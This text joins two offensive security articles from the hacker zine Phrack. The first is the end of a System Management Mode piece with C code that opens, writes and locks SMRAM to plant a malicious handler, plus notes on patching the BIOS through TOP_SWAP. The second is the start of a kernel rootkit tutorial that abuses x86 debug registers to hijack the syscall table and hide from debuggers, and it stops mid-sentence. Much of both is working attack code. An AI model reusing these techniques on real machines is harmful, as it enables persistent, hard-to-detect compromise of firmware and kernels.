Since a single sample is more valuable, to access a register REG in the 
bus:device:function PCI space you will need to use the following address:
        0x80000000L | ((bus & 0xFF) << 16) |
                ((((unsigned)device) & 0x1F) << 11) |
                ((((unsigned)func) & 0x07) << 8) | (REG & 0xFC);

In each PCI device’s configuration space there’s normally one or more
BARs (Base Address Registers), which can be used to set or find the address
in physical memory or in I/O space of each resource the card uses.

---[ 2.3.2 - When and why the system generates a SMI

All memory transactions (read/write memory access) from the CPU are placed 
on the host bus to be consumed by some device.

Potentially the CPU itself would decode a range (of memory) such as the 
Local APIC range, and the transaction would be satisfied before needing 
to be placed on the external bus at all.

If the CPU does not claim the transaction (don’t decode), then it must be
sent out.  In a typical Intel architecture, the transaction would next be 
decoded by the MCH (Memory Controller Hub) and be either claimed as an 
address that the MCH owns, or it’s determining based on decoders that the 
transaction is not owned by the MCH and thus should be forwarded on to the 
next possible device in the chain.

If the memory controller does not find the address to be within actual 
DRAM, then it looks to see if it falls within one of the other I/O ranges 
it owns (ISA, EISA, PCI).

Depending on how old the system is, the memory controller may directly 
decode PCI transactions (instead of pass that to the I/O bridges), for 
example.

If the MCH determines that the transaction does not belong to it, the
transaction will be forwarded down to whatever I/O bridge(s) may be present
in the system.  This process of decoding for ownership / response or 
forwarding down if not owned repeats until the system runs out of potential
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agents.

The final outcome is either an agent claims the transaction and returns
whatever data is present at the address, or no one claims the address and
an abort occurs to the transaction, typically resulting in 0FFFFFFFFh data
being returned.

In some situations (Duflot paper’s case), some addresses (for example those
falling within the 0A0000h - 0BFFFFh range) are owned by two different 
devices (VGA frame buffer and system memory).  This will force the 
architecture to send a SMI signal to satisfy the transaction.

If no SMI is asserted, then the transaction is ultimately passed over by
the memory controller, so that the VGA controller (if present) can claim 
it.

If the SMI signal is asserted when the transaction is received by the 
memory controller, then the transaction will be forwarded to the DRAM 
unit for fetching the data from physical memory (executing our handler).

---[ 2.4 - SMM Internals - Our first experiences

Here we will clarify some important details about SMM and how it works. 
This will be important to better understand the attached library.

---[ 2.4.1 - Analyzing the SMM registers

Let’s start by analyzing the SMM using libpci, so we can have more 
stability doing this.

The following code is known to work fine in ICH5 and ICH3M controllers.  

---   code   ---

#include <stdio.h>
#include <pci/pci.h>
#include <sys/io.h>

/* Defines - bit positions (will be used in more samples) */
#define D_OPEN_BIT      (0x01 << 6)
#define D_CLS_BIT       (0x01 << 5)
#define D_LCK_BIT       (0x01 << 4)
#define G_SMRAME_BIT    (0x01 << 3)
#define C_BASE_SEG2_BIT (0x01 << 2)
#define C_BASE_SEG1_BIT (0x01 << 1)
#define C_BASE_SEG0_BIT (0x01)

/* Function to print SMRAM registers */
void show_smram(struct pci_dev* SMRAM)
{
        u8 smram_value;

        /* Provided by libpci */
        smram_value = pci_read_byte(SMRAM, SMRAM_OFFSET);

        if(smram_value & D_OPEN_BIT) {
                printf("D_OPEN_BIT:      1\n");
        } else {
                printf("D_OPEN_BIT:      0\n");
        }
        if(smram_value & D_CLS_BIT) {
                printf("D_CLS_BIT:       1\n");
        } else {
                printf("D_CLS_BIT:       0\n");
        }
        if(smram_value & D_LCK_BIT) {
                printf("D_LCK_BIT:       1\n");
        } else {
                printf("D_LCK_BIT:       0\n");
        }
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        if(smram_value & G_SMRAME_BIT) {
                printf("G_SMRAME_BIT:    1\n");
        } else {
                printf("G_SMRAME_BIT:    0\n");
        }
        if(smram_value & C_BASE_SEG2_BIT) {
                printf("C_BASE_SEG2_BIT: 1\n");
        } else {
                printf("C_BASE_SEG2_BIT: 0\n");
        }
        if(smram_value & C_BASE_SEG1_BIT) {
                printf("C_BASE_SEG1_BIT: 1\n");
        } else {
                printf("C_BASE_SEG1_BIT: 0\n");
        }
        if(smram_value & C_BASE_SEG0_BIT) {
                printf("C_BASE_SEG0_BIT: 1\n");
        } else {
                printf("C_BASE_SEG0_BIT: 0\n");
        }
        printf("\n");
}

int main(void) {
        struct pci_access *pacc;
        struct pci_dev *SMRAM;

        /* Provided by libpci */
        pacc = pci_alloc();
        pci_init(pacc);

        SMRAM = pci_get_dev(pacc, 0, 0, 0, 0);

        printf("Current status of SMRAM:\n");
        show_smram(SMRAM);

        printf("Setting D_OPEN to 1\n");
        pci_write_byte(SMRAM, SMRAM_OFFSET, 0x4a);
        show_smram(SMRAM);

        printf("Locking SMRAM\n");
        pci_write_byte(SMRAM, SMRAM_OFFSET, 0x1a);
        show_smram(SMRAM);

        printf("Trying to set D_OPEN to 0\n");
        pci_write_byte(SMRAM, SMRAM_OFFSET, 0x0a);
        show_smram(SMRAM);

        return 0;
}

--- end code ---

Compile this using:
        gcc -o brazil_smm1 brazil_smm1.c -lpci -lz

An execution sample:

rrbranco:˜/Phrack# ./brazil_smm1
Current status of SMRAM:
D_OPEN_BIT:      0
D_CLS_BIT:       0
D_LCK_BIT:       0
G_SMRAME_BIT:    0
C_BASE_SEG2_BIT: 0
C_BASE_SEG1_BIT: 0
C_BASE_SEG0_BIT: 0

Setting D_OPEN to 1
D_OPEN_BIT:      1
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D_CLS_BIT:       0
D_LCK_BIT:       0
G_SMRAME_BIT:    0
C_BASE_SEG2_BIT: 0
C_BASE_SEG1_BIT: 0
C_BASE_SEG0_BIT: 0

Locking SMRAM
D_OPEN_BIT:      1
D_CLS_BIT:       0
D_LCK_BIT:       1
G_SMRAME_BIT:    0
C_BASE_SEG2_BIT: 0
C_BASE_SEG1_BIT: 0
C_BASE_SEG0_BIT: 0

Trying to set D_OPEN to 0
D_OPEN_BIT:      1
D_CLS_BIT:       0
D_LCK_BIT:       1
G_SMRAME_BIT:    0
C_BASE_SEG2_BIT: 0
C_BASE_SEG1_BIT: 0
C_BASE_SEG0_BIT: 0

---[ 2.4.2 - SMM Details

When the processor enters the SMM mode it will signal an output pin, 
aSMIACT#, to notify the chipset that the processor is in the SMM.

The SMI interrupt itself can be triggered anytime, except while the 
processor is already in SMM (of course). This will cause the SMM handler to
be executed (as we already showed).

Since the SMIACT# was noticed by the chipset, all further memory accesses 
will be redirected to the SMRAM protected memory. After that, the processor
will start to save its internal state in the saved_state map area, inside
the SMRAM. Then, the handler starts to execute.

What is the current state? The processor is in a ’real mode’, with all 
segments containing 4GB limit and being readable/writable.

As said, to leave the SMM, the RSM instruction is issued by the handler, 
and  then the processor reads the saved-state map again, performing just 
some checks on it (that’s good) restoring the system to the previouas 
situation.

SMM writes data in the saved-state map exactly in the same way as the stack
does, from top to bottom beginning from the SMBASE register (thus, 
permiting relocation). It’s important to keep this in mind when 
manipulating the saved-state map.

If the system enters SMM by result of a halt or I/O instruction, the 
handler can tell the system to continue the execution after that or to 
enter the halt state just setting a flag in the saved-state map.

Upon entrance in SMM the interrupts are disabled (including the 
asyncronous NMI (Non Maskable Interrupt) and INIT), and the IDT (interrupt
description table)  register keeps it’s value. In order to service 
interrupts inside SMM (a motivation for that will be showed),  one needs to
setup an own interrupt vector [14] and reload the IDT with your new value,
since the values contained in the old IDT are no longer valid in the 
address space used by SMM.

After the STI instruction, the system start to receive some interrupts 
but will  still miss the asyncronous ones. To enable that is needed to
issue the IRET/IRETD instructions.

The big concern about re-enabling interrupts inside the SMM handler is that
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if an NMI interrupt is received while inside the handler, it will be 
latched. So, potentially any verification done inside the SMM handler can 
be bypassed if someone hooked the NMI handler routine (this routine would
be executed  immediately after the RSM, before the processor starts 
executing the code pointed by the EIP in the saved-state map).

During our tests, SMM relocation gave us some problems in older machines 
(pentium II/III).  Also, we preferred to use those machines to test our 
things, since there is no SMM locking being done by the BIOS (generally 
saying, BIOS older than 2 years).

Apparently, those older processors had a fixed CS value point to 0x30000 
(the default SMM position - relocated by most of modern BIOS to 0xA0000 as 
we already said).

If we enable interrupts inside the SMM, when an interrupt is invoked, it 
will save CS:IP in the stack for further return. But it will use the fixed 
value of CS (0x30000) instead of using the SMBASE value, not reflecting 
the  right code segment that the SMM is actually using and, therefore, the 
code will return to the wrong location.

Also, the Intel documentation mentions alignment problems in the SMBASE 
value in older processors (previously to PIV).

------[ 3 - SMM for evil purposes

As already said, the SMM can be used to modify kernel internal structures.

Here we will also show some challenges and other possible uses for a 
malware code running inside the SMM.

---[ 3.1 - Challenges

---[ 3.1.1 - Cache-originated overwrites

When entering the SMM, the SMRAM may be overwritten by data in the cache 
if a #FLUSH occur after the SMM entrance.

To avoid that we can shadow SMRAM over non-cacheable memory or assert 
#FLUSH simultaneously to #SMI events (#FLUSH will be served first). 
Most BIOS mark the SMRAM range as non-cacheable for us (and also locks it, 
since Duflot paper publication).

---[ 3.1.2 - SMM Locking

Most BIOS manufacturers lock the SMM nowadays. When you are inserting a
protecting mechanism using the SMM you can just replace the system BIOS 
for an open-source one (see LinuxBIOS [7]).

When we are talking about malicious code, this cannot be done and some 
kind of BIOS patching must take place.

This article is focusing in the SMM manipulation itself, but a good 
approach to bypass the BIOS protection is to use the TOP_SWAP [8] bit to 
execute our code before the original BIOS code and then load our SMM 
handler and lock it (this will prevent the original BIOS to overwrite our 
SMM handler).

Basicaly this bit is used to define if the system will use the first 64K 
or the second one as area to load the BIOS from.  Knowing that, someone 
can just set the TOP_SWAP bit, put own code in the second 64K area and in 
the code jump back to the original BIOS code.  This code will be runned 
BEFORE the BIOS.

The TOP_SWAP bit exists to provide a secure way to BIOS update - the BIOS 
code is copied to the second 64K, the TOP_SWAP bit is set, the update is 
done and an integrity check is performed - if there is anything that makes
the system to reboot, it will restart in the second 64K which holds a copy
of the original BIOS without any problems.
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---[ 3.1.3 - Portability

As said, the SMM is harware-dependent, more specifically it’s 
ICH-dependent.

The attached code is know to work in ICH5 and ICH3M, tested under Linux, 
but since it uses the libpci, it’s supposed to work also in FreeBSD, 
NetBSD, OpenBSD (also tested on it), Solaris, Aix, GNU/Hurd and Windows).

To provide support to other ICHs one must edit the libSMM.h header file to 
specify the correct location of the bus, device, function and offset and 
then be sure the PMBASE returned by the function get_pmbase() is right 
(comparing to the manuals).

After that, verify if the SMRAM_OFFSET is correctly defined (you can get 
that in your I8xx manuals).  If so, the bits in the SMRAM control register 
will be correctly showed (you can easily test it using the D_LCK bit, since
when set will not permit any other bit to be manipulated).  One can also
test it using the dd command showed next in this article and the D_OPEN bit
(use the open_smram function, write to the SMRAM memory mmap’ing it and 
then dump it to verify if it’s working).

---[ 3.1.4 - Address translation

Address translation is a great difficulty when we are inside our handler, 
since we need the value of the CR3 register (which we can get from the 
saved-state map) to manually parse the page tables and then perform the 
actual translation.

Another approach is to just transfer the control back to our code in the 
same way that Duflot did, but we need to save the current processor 
status inside SMM, so after the execution of our code (after the SMM) we 
can transfer the control back to the process that was executing before 
triggering the SMI (else we would have some portions of the system just 
stopping to work after our malware get executed).

This is not good... 

The best thing that we can do is just have a simple handler that gives the
biggest privilege level of execution to the calling code (i.e. the code 
that was executing before the SMI) and then return. By doing so, we avoid 
to stay too much time in the SMM context and don’t need to care about 
stopped OS processes.

In the next sections we clarify how to put code in the SMM space, test it 
and then an approach using the descriptor caches to provide the above 
statement.

---[ 3.2 - Copying our code in the SMM space

---[ 3.2.1 - Testing

So, the first step to put some code in the SMM is to open the SMRAM by 
setting the D_OPEN bit.

---   code   ---
pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_OPEN_BIT));
--- end code ---

To close it after we finish, we will use the following:

---   code   ---
pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value & ˜D_OPEN_BIT));
--- end code ---

Also, after inserting our code, we want to lock SMRAM access, avoiding 
anyone from changing the SMM-related registers.

---   code   ---
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pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_LCK_BIT));
--- end code ---

In order to get our code inserted in the SMRAM memory, we need to map it, 
in the same way we did in the exploit.

---   code   ---
fd = open(MEMDEV, O_RDWR);

if(fd < 0) {
        fprintf(stderr, "Opening %s failed, errno: %d\n", MEMDEV, errno);
        return -1;
}

vidmem = mmap(NULL, MAPPEDAREASIZE, PROT_READ | PROT_WRITE, MAP_SHARED,
                fd, SMIINSTADDRESS);

if(vidmem == MAP_FAILED) {
        fprintf(stderr, "Could not map memory area, errno: %d\n", errno);
        return -1;
}
close(fd);

/* Here we are copying our code to the SMRAM memory */
if(vidmem != memcpy(vidmem, handler, endhandler-handler)) {
        fprintf(stderr, "Could not copy asm to memory...\n");
        return -1;
}

if(munmap(vidmem, MAPPEDAREASIZE) < 0) {
        fprintf(stderr, "Could not release mapped area, errno: %d\n", errno);
        return -1;
}
--- end code ---

It’s a good idea to verify if it’s working properly, and also make a 
previous copy of your SMRAM memory contents before that.

So, let’s do that using dd:
        dd if=/dev/mem of=my_smram bs=1 skip=‘expr 655360 - 1‘ count=64K

P.S.:  655360 is 0xa0000 in decimal (as spotted by Duflot, SMM is commonly
relocated to that address instead 0x30000, as in the default case)

---[ 3.2.2 - Descriptor caches

This idea worked in some system and not in some others, since the Intel
documentation is not exactly clever about this subject.

From the Intel manual: "Every segment register has a visible part and a 
hidden part (The hidden part is sometimes referred to as a descriptor 
cache or a shadow register).  When a segment selector is loaded into the 
visible part of a segment register, the processor also loads the hidden 
part of the segment register with the base address, segment limit, and 
access control information from the segment descriptor pointed to by the 
segment selector."

"Access control information" is refering to the well know xPL:
        - RPL -> Request privilege level
        - CPL -> Current privilege level
        - DPL -> Descriptor privilege level

In the saved-state map inside the SMRAM, also according to the Intel 
manuals, are saved the descriptor caches and the CR4 register (the manual 
says it’s not readable and write to this values will cause an 
"unpredictable behavior").

We found the following:

TSS Descriptor Cache (12-bytes) - Offset: FFA7
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IDT Descriptor Cache (12-bytes) - Offset: FF9B
GDT Descriptor Cache (12-bytes) - Offset: FF8F
LDT Descriptor Cache (12-bytes) - Offset: FF83
GS  Descriptor Cache (12-bytes) - Offset: FF77
FS  Descriptor Cache (12-bytes) - Offset: FF6B
DS  Descriptor Cache (12-bytes) - Offset: FF5F
SS  Descriptor Cache (12-bytes) - Offset: FF53
CS  Descriptor Cache (12-bytes) - Offset: FF47
ES  Descriptor Cache (12-bytes) - Offset: FF3B

The saved-state map is stored at SMBASE + 0xFE00 to SMBASE + 0xFFFF.

Modifying the DPL field of the SS descriptor cache from 3 to 0 gives ring0
power to our program (and a General Protection Fault in newer processors).

---[ 3.2.3 - Code relocation

SMM has the ability to relocate its protected memory space. The SMBASE 
value saved in the state save map may be modified. This value is read 
during the RSM instruction. When SMM is next entered, the SMRAM will be
located at this new address.

From our SMM handler, in the saved-state map, we can modify this value (at
offset 0xFEF8 from SMBASE). To perform that, we must care about CS 
adjustments inside our code.

It can be used to relocate the SMRAM to memory area of our choosing and 
trick those who try to dump the SMRAM for analysis using the standard 
SMBASE values (anyway, since our malware is locking the SMM and clearing 
the D_OPEN bit, we don’t need to use this technique).

------[ 4 - SMM Manipulation Library

The SMM Manipulation Library attached in this article provides an easy 
way to create portable code to manipulate the SMRAM control register.

It offers the following methods:
        u8 show_smram  (struct pci_dev* smram_dev, u8 bits_to_show)
                It’s used to test if specific bits are set or not
                The pci_dev structure are optional, NULL can be passed.

        u16 get_pmbase (void)
                Internally used by the library to manipulate the SMI-enablement.
                Exported by the function to turn easy to an external program
                verify the correct offsets for the SMI_EN and SMI_STS.

        u16 get_smi_en_iop (void)
                Return the location of the SMI_EN

        u16 get_smi_sts_iop (void)
                Return the location of the SMI_STS

        int enable_smi_gbl (u16 smi_en_iop)
                Enable SMI globally

        int disable_smi_gbl (u16 smi_en_iop)
                Disable SMI globally

        int enable_smi_on_apm (u16 smi_en_iop)
                Enable SMI on APM events

        int disable_smi_on_apm (u16 smi_en_iop)
                Disable SMI on APM events

        int open_smram(void)    
                Open SMRAM for access (set D_OPEN bit)

        int close_smram(void)
                Close SMRAM for access (unset D_OPEN bit)
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        int lock_smram(void)
                Lock the SMRAM (set D_LCK bit)

        void write_to_apm_cnt(void)
                Write to the APM CNT (generate a SMI)

Also, the include file libSMM.h contains the valid values to be used to 
locate related registers and bit’s for the SMM manipulation, like the 
device, function bus and offsets.  It contains specify defines for 
interesting bits inside the SMRAM control register too, like the D_OPEN 
and the D_LCK.
        
Attached to the article is also the file libSMM_test.c showing how to use 
the SMM Manipulation Library.  This program will basically set and unset 
all control registers that will affect the SMM manipulation.  It can be 
used to test if the library is working propertly in your hardware and 
since it will also test the D_LCK bit, one need to reboot after run this 
program.

The evil.c code also attached will use the SMM Manipulation Library to 
insert a small SMM handler that freezes the processor.

------[ 5 - Future and other uses

We can’t foresee the future, but modern rootkits are becoming much more
targeted, so this kind of deeper hackishs will start to be more widely 
seen.

Also, with new platforms to BIOS enhancements, like the Extensible Firmware
Interface, everything that depends on boot patching will be easier [9].

Another important thing to notice is the virtualization resources that 
exist nowadays and some possibilities of using them in implementations of 
hardware protected integrity-check systems [10].

------[ 6 - Acknowledgments

A lot of people helped us in the long way these researches that resulted in
something funny to be published, you all know who you are.

Special tks to twiz and the Phrack Staff for the great review of the 
article, giving a lot of important insights about how to better structure 
it and giving a real value to it.

Finally, big tks to Julio Auto for the review of the article drafts.

BSDaemon:
Conference organizers who invited me to talk about protection
mechanisms using SMM (yeah, a lot of fun in completely different cultures).

To my girlfriend who waited for me (alone, I suppose) during this travels.

RISE Security (http://www.risesecurity.org) for always keeping me motivated
studying completely new things.

------[ 7 - References

[1]  - Intel Architecture Reference Manuals
      http://www.intel.com/products/processor/manuals/index.htm

[2]  - Loic Duflot, Daniel Etiemble, Olivier Grumelard, "Using CPU System
Management Mode to Circumvent Operating System Security Functions"
      Proceedings of CanSecWest, 2006

[3]  - Branco, Rodrigo Rubira, "KIDS - Kernel Intrusion Detection System"
      Hackers to Hackers Conference, 2007

[4]  - LibPCI for Linux
      ftp://ftp.kernel.org/pub/software/utils/pciutils/



phrack65/7.txt Fri Jul 01 13:24:52 2022 15

[5]  - Intel 82801 BA-I/O Controler HUB (ICH2) Datasheet
      http://www.intel.com/design/chipsets/datashts/290687.htm

[6]  - Intel 82845 Memory Controler HUB (MCH) Datasheet
      http://www.intel.com/design/chipsets/datashts/290725.htm

[7]  - LinuxBIOS
      http://freshmeat.net/projects/linuxbios

[8]  - Bing, Sun, "BIOS Boot Hijacking By Using Intel ICHx "Top-Block Swap"
Mode"
      XFocus Information Security Conference, 2007

[9]  - Heasman, John, "Hacking the Extensible Firmware Interface"
      Blackhat Las Vegas Briefings, 2007

[10] - Branco, Rodrigo Rubira, "StMichael Project"
      http://stjude.sf.net

[11] - PCI Specification
      http://www.pcisig.com

[12] - Shanley, Tom; Anderson, Don; "PCI System Architecture" 
      Mindshare Inc
      ISBN 0-201-30974-2 
      Publisher: Addison Wesley

[13] - PCI Database
      http://www.pcidatabase.com

[14] - devik & sd; "Linux on-the-fly kernel patching without LKM"
      Phrack 58

------[ 8 - Sources - Implementation details [brazil_SMM.tgz]

Attached a GPLed library that will help you to manipulate the SMM-related
features, accompanied by some programs displaying sample usage.

Further updates will be available in the StMichael project website, at:
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                             ==Phrack Inc.==

               Volume 0x0c, Issue 0x41, Phile #0x08 of 0x0f

|=---------------------=[ Mistifying the debugger, ]=--------------------=|
|=---------------------=[   ultimate stealthness   ]=--------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ halfdead@phear.org ]=-----------------------=|

--[ Introduction 

Over the years, there have been a plethora of techniques and methods of
hiding one’s presence in a hacked system. Many of them were focused on
directly tampering the system call table, others were modifying the
interrupt handler, while others were operating at the VFS layer. But all 
of them were modifying the underlying operating system in a very visible
manner, making them easily detected. 

In the article I will present a technique that is able to achieve ultimate 
stealthness in kernel rootkits, by using a common x86 feature, the 
debugging mechanism. Although it works on any IA-32 compatible platform, 
the following technique will be detailed for Linux operating system and I 
will show you how one can intercept the normal flow of execution without 
touching the "classical" hooking targets. In fact, this technique can be
so good that no one will ever notice our presence.

When we refer to "debugger" in this article, we actually mean the IA-32
debugging mechanism, which is only accessible from ring zero. Userland
debuggers don’t make use of this mechanism, only some kernel debuggers 
do.

--[ The debugger

        "The IA-32 architecture provides extensive debugging
        facilities for use in debugging code and monitoring
        code execution and processor performance. These
        facilities are valuable for debugging applications
        software, system software, and multitasking operating
        systems."

In order to make life easier for developers, Intel introduced a mechanism
that was intented to manage the debugging process. This mechanism is 
handled by a set of special registers (called ’debugging registers, 
DR0..DR7) which  allow the user to set hardware breakpoints on memory 
addresses. As soon as the execution flow hits an address marked with a 
breakpoint, it hands the control to the debug interrupt handler (INT 1), 
which calls the do_debug() function (defined in ../i386/kernel/traps.c) to 
take care of the actual situation that raised the exception. 

The debugging support is accessed through the debug registers (DB0 through
DB7) and two model-specific registers (MSRs). For the purpose of this paper
we will only focus on the debug registers. These registers hold the 
addresses of memory and I/O locations, called breakpoints. Breakpoints are
user-selected locations in a program, a data-storage area in memory, or 
specific I/O ports  where a programmer or system designer wishes to halt 
execution of a program and examine the state of the processor by invoking 
debugger software. 

A debug exception (#DB) is generated when a memory or I/O access is made 
to one of these breakpoint addresses. A breakpoint is specified for a 
particular form of memory or I/O access, such as a memory read and/or 
write operation or an I/O read and/or write operation. The debug registers 
support both instruction breakpoints and data breakpoint. The MSRs (which 
were introduced into the IA-32 architecture in the P6 family processors)
monitor branches, interrupts, and exceptions and record the addresses of 
the last branch, interrupt or exception taken and the last branch taken 
before an interrupt or exception.
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--[ The debug registers

There are 8 debug registers supported by the Intel processors, which 
control the debug operation of the processor. These registers can be 
written to and read using the move to or from debug register form of 
the MOV instruction. A debug register may be the source or destination 
operand for one of these instructions. The debug registers are privileged
resources; a MOV instruction that accesses these registers can only be 
executed in real-address mode, in SMM, or in protected mode at a CPL 
of 0. An attempt to read or write the debug registers from any other 
privilege level generates a general protection exception.

The primary function of the debug registers is to set up and monitor 
from 1 to 4 breakpoints, numbered 0 though 3. The debug mechanism allows
us to manage the breakpoints through two special registers, DR6 and DR7,
which I will describe in detail later on.  For each breakpoint, the 
following information can be specified and/or detected with the debug 
registers:
        
        - The linear address where the breakpoint is to occur.
        - The length of the breakpoint location (1, 2, or 4 bytes).
        - The operation that must be performed at the address for a debug 
          exception to be generated.
        - Whether the breakpoint is enabled.
        - Whether the breakpoint condition was present when the debug 
          exception was generated.

-------[ Debug address registers

Each of the debug-address registers (DR0-DR3) holds the 32-bit linear
address of a breakpoint. Breakpoint comparisons are made before physical
address translation occurs.

-------[ Debug registers DR4 and DR5

Debug registers DR4 and DR5 are reserved when debug extensions are enabled 
(the DE flag in control register CR4 is set), and attempts to reference 
these registers will raise an invalid-opcode exception. When the DE flag 
is not set, these registers are aliased to DR6 and DR7.

------[ Debug status register (DR6)

This special register is used to report the debug conditions that existed 
at the time the last debug exception occured. The flags in this register
show the following information:

        - B0..B3 (bits 0..3) indicate that a breakpoint condition was
          detected. These flags are set if the condition described
          for each breakpoint by the LENn, and R/Wn flags in debug 
          control register DR7 is true. They are set even if the 
          breakpoint is not enabled by the Ln and Gn flags in register 
          DR7.

        - BD (bit 13) (debug register access detected) indicates that the 
          next instruction in the instruction stream will access one of the
          debug registers (DR0..DR7). This flag is enabled when the general
          detect (GD) flag in debug control register DR7 is set.

        - BS (bit 14) (single step) indicates (when set) that the debug
          exception was triggered by the single-step execution mode.
        
        - BT (bit 15) (task switch) indicates (when set) that the debug
          exception resulted from a task switch where the debug trap flag
          in the TSS of the target task was set.

The processor never clears the contents of DR6 register.
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------[ Debug control register (DR7)

The debug control register (DR7) enables or disables breakpoints and sets
breakpoint conditions. Its flags and fields control the following things:
        
        - L0..L3 (bits 0, 2, 4, 6) (local breakpoint enable) enable (when 
          set) the breakpoint  condition for the associated breakpoint for 
          the current task. When a breakpoint condition is detected and its 
          associated Ln flag is set, a debug exception is generated. The 
          processor automatically clears these flags on every task switch 
          to avoid unwanted breakpoint conditions in the new task.

        - G0..G3 (bits 1, 3, 5, 7) (global breakpoint enable) enable (when
          set) the breakpoint condition for the associated breakpoint for 
          all tasks. When a breakpoint condition is detected and its 
          associated Gn flag is set, a debug exception is generated. 
          The processor does not clear these flags on a task switch, 
          allowing a breakpoint to be enabled for all tasks.
        
        - LE and GE (bits 8 and 9) (local and global exact breakpoint
          enable) cause the processor to detect the exact instruction that 
          caused a data breakpoint condition. Not supported in P6 family
          processors.
        
        - GD (bit 13) (general detect enable) enables (when set)
          debug-register protection, which causes a debug exception to be 
          generated prior to any MOV instruction that accesses a debug register.
          When such a condition is detected, the BD flag in debug status register 
          DR6 is set prior to generating the exception.

        - R/W0..R/W3 (bits 16, 17, 20, 21, 24, 25, 28, and 29) (read/write) 
          specifies the breakpoint condition for the corresponding breakpoint. 
          For more information read the Intel manual.
        
        - LEN0..LEN3 (bits 18, 19, 22, 23, 26, 27, 30, and 31) (length)

--[ The magic

Ok, so we’ve learnt almost everything now about the IA-32 debugging 
mechanism. Where is the goodies you’ve promised?? Now we know a few 
important things: we can set a breakpoint on a memory address and as soon 
as execution flow hits our breakpoint, the execution is redirected to the 
debug handler (INT 1). Uhmm, so what if we replace the existing debug 
handler or one of the underlying functions with our own? As we can see 
from entry.S, 

        ENTRY(debug)
        pushl $0
        pushl $ SYMBOL_NAME(do_debug)
        jmp error_code

the actual debug handler is a C function, do_debug() defined in traps.c.
Yes, ok, I think we are able to patch the INT 1 handler and then call
do_debug() on our own OR we could come up with our own do_debug() and 
expect to be called by the debug handler, so we rest assured that the 
IDT remains untouched. But what should our handler handle? Most obviously,
we need to check a few parameters and then pass control to the actual
operating system do_debug(). But what parameters should we monitor? Keep
reading...

------[ Hijacking the sys_call_table[]

Now you should have an idea how to hijack the syscall table making use 
onunnt on read/write/execution on targetted address in memory. This can 
be either INT 80 handler address or syscall table address, it matters
less as the effect is the same, in the end. Therefore, each time the 
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operating system is going for a syscall, it will wind up in our handler. 
We have two options here: A) hijacking the INT 80 handler directly in 
IDT or B) hijacking the actual address of sys_call_table[] in memory. Any 
of them is fit for our purposes, so we will aim for A. The following 
function will return the address of INT 80 handler.

        get_idt_entry:
                sidt    idtr
                movl    idtr+2, %ebx
                leal    (%ebx, %eax, 8), %ebx
                movw    (%ebx), %cx
                roll    $16, %ecx
                movw    0x6(%ebx), %cx
                roll    $16, %ecx
                movl    %ecx, %eax
                ret

Once we know the address, we can set up a breakpoint as follows:
        
        set_bpm:
                movl    $0x80, %eax
                call    get_idt_entry
                movl    %eax, %dr0
                xorl    %eax, %eax
                orl     $0x2080, %eax
                movl    %eax, %dr7
                ret

As you can see, the set_bpm() function will load DR0 with memory address
where INT 80 is located and, also, will set up the according flags in DR7,
including the magic GD bit, which allows us to monitor WHO and WHY is
accessing the debug registers. This bit is very important for us because
it "causes a debug exception to be generated prior to any MOV instruction 
that accesses a debug register". Wow, do you mean...? Yeah, if SOMEONE is 
trying to read/write the debug registers, the control is passed to our 
handler BEFORE the instruction takes place. So, we know if someone, a 
debugger or some tool of the devil, is checking the debug registers, even 
before they  know it. This gives us time to cover our tracks: we can undo 
everything and wait some time for danger to pass, we can simply skip the 
instructions affecting the debug registers, etc. The best thing to do is 
to show the system clean debug registers and after a short period of time,
hook everything back to best suit our needs. The best aproach is to come 
up with a code emulator, analyzing the type of the instruction accessing 
debug registers, and based on that decide what action will follow: clean 
the debug registers and restore later or simply increase the instruction 
count so that the instruction is simply ignored. Anyway, this leaves an 
open discussion.

------[ The handler

Now, we managed to redirect the flow of execution without patching anything
in the syscall table or INT 80 handler. But still, what should our handler
handle? For starter, in its most simplistic form, our handler needs to 
check the value of the %eax register, because at this point, it contains 
the desired syscall number, and based on that it should feed the OS with 
our hacked syscall. This is how a very simple handler should look like:

asmlinkage void new_do_debug(struct pt_regs * regs, long error_code) 
{

        unsigned long condition;
        unsigned long mask = 0x2008;

  
        __asm__ __volatile__("movl %%db6,%0" : "=r" (condition));

        if (condition & BD_FLAG) { /* someone is r/w the registers */
            condition &= ˜BD_FLAG;
            __asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition));
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            regs->eip += 3;
            __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
        }
        
        if (condition & DR_TRAP0) {
            if (regs->eax == __NR_time) 
                sys_call_table[__NR_time] = hacked_time;
            
            if (regs->eflags & VM_MASK) {
                (*old_do_debug)(regs,error_code);
                __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
            }

            condition &= ˜DR_TRAP0;
            __asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition));
            __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
            regs->eflags |= X86_EFLAGS_RF;
        } 
        else 
        {
            (*old_do_debug)(regs, error_code);
            __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
        }

        return;
}

What are we doing here? First, we grab the values in the status register
(DR6) and try to figure out what triggered our handler. If our execution
comes as a result of the breakpoint we’ve placed, we compare the value in
%eax register to the value of the syscall we decided to hijack, which was 
sys_time() in our case. In the example provided, due to the lack of space
and time, we did a direct change of the sys_call_table[] but this is not
something to worry about as, the hacked_time() is modifying the
sys_call_table[] back to original in the instant it gets executed:

asmlinkage long hacked_time(int *tloc)
{
        sys_call_table[__NR_time] = original_time;
        printk("<1>WE changed it!!\n");
        return original_time(tloc);
}

Ofcourse, there are other ways of doing it without touching the syscall
table at all but take into consideration that the first thing the
hacked_time() does is changing back the value in sys_call_table[], meaning
that the actual change takes place for less than a microsecond so it 
shouldn’t be a problem. 

A better method would be to analyze the parameters of the syscall, based on
the syscall number, which at the time our handler takes place is the value 
in %eax register. We could feed the hacked parameters by simply filling the
according registers. This method would create a "virtual" syscall table, 
so we don’t need to touch the actual syscall table at all.

So now we learnt how to set a breakpoint on a memory address, how to enable
that breakpoint; we also learnt that we can hijack the normal execution 
flow without tampering the INT 80 handler nor the syscall table handler 
nor the syscall table itself. Yes, you can say it’s a lovely technique, a 
bit of magic. But still, we modify the INT 1 handler, or at least, we patch
the do_debug() function, so we’re not that stealth. Just keep reading...

---[ Blindfold

We learnt so many beautiful things by now, we take control of the system 
and no one detects a direct tampering of the kernel. We covered our tracks
